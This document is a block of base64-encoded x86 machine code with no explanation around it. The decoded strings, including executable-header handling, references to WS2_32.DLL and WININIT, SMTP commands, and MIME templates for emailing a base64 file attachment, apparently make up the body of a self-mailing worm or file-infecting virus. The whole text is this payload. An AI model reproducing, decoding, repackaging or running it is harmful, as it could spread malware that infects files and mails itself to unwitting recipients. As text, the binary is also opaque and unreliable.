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 NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd AQAAi0dIi05IO8EPggT///8Ph0kBAACLR0SLTkQ7wQ+C8P7//w+HNQEAAItHQItOQDvBD4Lc/v// D4chAQAAi0c8i048O8EPgsj+//8Phw0BAACLRziLTjg7wQ+CtP7//w+H+QAAAItHNItONDvBD4Kg /v//D4flAAAAi0cwi04wO8EPgoz+//8Ph9EAAACLRyyLTiw7wQ+CeP7//w+HvQAAAItHKItOKDvB D4Jk/v//D4epAAAAi0cki04kO8EPglD+//8Ph5UAAACLRyCLTiA7wQ+CPP7//w+HgQAAAItHHItO HDvBD4Io/v//d3GLRxiLThg7wQ+CGP7//3dhi0cUi04UO8EPggj+//93UYtHEItOEDvBD4L4/f// d0GLRwyLTgw7wQ+C6P3//3cxi0cIi04IO8EPgtj9//93IYtHBItOBDvBD4LI/f//dxGLB4sOO8EP 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 sAAAAP+1SBwAAOh7CQAAi7WIHwAAVmogWa2L0K2F0nQHUFLoYgkAAOLv/5WzIgAA64tg6H/w//9o 8EkCAP+VuyIAAI2FkiQAAFD/tUgcAAD/dCQs6IgDAABYWGHCBAD5YGY9YPiLfCQkchNoBAEAAFfo QfD///+VhyIAAAP4sSC6OEgXAdPKagxZsFyqi8GKwiQPBEGqwcIE4vSID8ZH/C5hwgQAYGgAAAEA akDoBfD///+VtyIAAIXAD4THAgAAUCvJiYgAeAAAi1UIiZAA+AAAi1UGiZAE+AAAx4AI+AAALkVY RYmIDPgAAFBqCOjuAgAAWBvJUYt8JASBxwD8AABqHuh98v//uS0tVkWRq2aDwQVqJOhr8v//PBpy BAQWZj0EQari7IvBq4t0JASBxgB4AACLBCSFwHUGrITAdftOi/7oPQAAAE1JTUUtVmVyc2lvbjog MS4wDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IgBe6NMBAADo3QEA AE9PuCINCgCrT+jJAQAAiwQkhcB1UOgxAAAAQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFy c2V0PSJ1cy1hc2NpaSINCg0KAF7ofQEAAIt0JATodAEAAGa4DQpmq+hyAQAA6C8AAABDb250ZW50 LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTsgbmFtZT0iAF7oLwEAAIt0JASBxgD4AADo IAEAAOhSAAAAIg0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0DQpDb250ZW50LURp c3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iAF7owwAAAIt0JASBxgD4AADotAAAALAi qrgNCg0Kq+j/7f//i4XyHAAAi7UmHwAA6JYIAAAD+eiXAAAAx0f+LS0NCsdHAgAAAABYgSwkAIj/ /2Doy+3//2gBAQAAK8Be6KsLAAByVSvmVFb/lbASAACFwHVBVOh8AAAAgDwkAHQvi/ToW+///2oA UVbozQMAAGoAUOgxDAAAchVqAVDoJwwAAP+0JCEBAABW6BkJAAD/lbQSAACBxAEBAABoIL8CAP+V uyIAAGHriKyEwHQDquv4w7gNCi0tq1ZRi3QkEIHuAAT//+jg////ZrgNCmarWV7DYcIEAGDoJu3/ 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 